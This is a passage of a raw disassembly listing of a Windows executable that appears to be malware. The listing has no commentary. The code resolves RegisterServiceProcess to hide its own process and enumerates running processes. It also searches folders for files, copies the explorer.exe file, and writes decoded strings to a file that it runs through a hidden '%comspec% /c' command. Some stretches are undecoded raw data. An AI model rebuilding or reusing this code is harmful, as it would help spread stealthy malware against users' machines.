		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 28A0000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		call	near ptr 288033Bh
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 28A0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 288033Bh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 28A1CCEh
		nop
		push	eax
		nop
		call	near ptr 28A1273h
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		call	near ptr 2850BF4h
		nop
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 28B0DC4h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		call	near ptr 28B0717h
		nop
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 28B0000h
		nop
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		call	near ptr 28A1CCEh
		nop
		push	eax
		nop
		call	near ptr 28A1273h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27F088Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	8680000h, 5100444Bh, 1E9D66E8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 442994E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0F2E80000h,	90023F2Ah, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		nop
		call	near ptr 27F0D56h


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 28A1CCEh
		push	eax
		nop
		call	near ptr 28A1273h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27E0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 2880000h
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27F0000h
		push	esi
		nop
		call	near ptr 2850BF4h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 28A1CCEh
		push	eax
		nop
		call	near ptr 28A1273h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2810000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 2800565h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
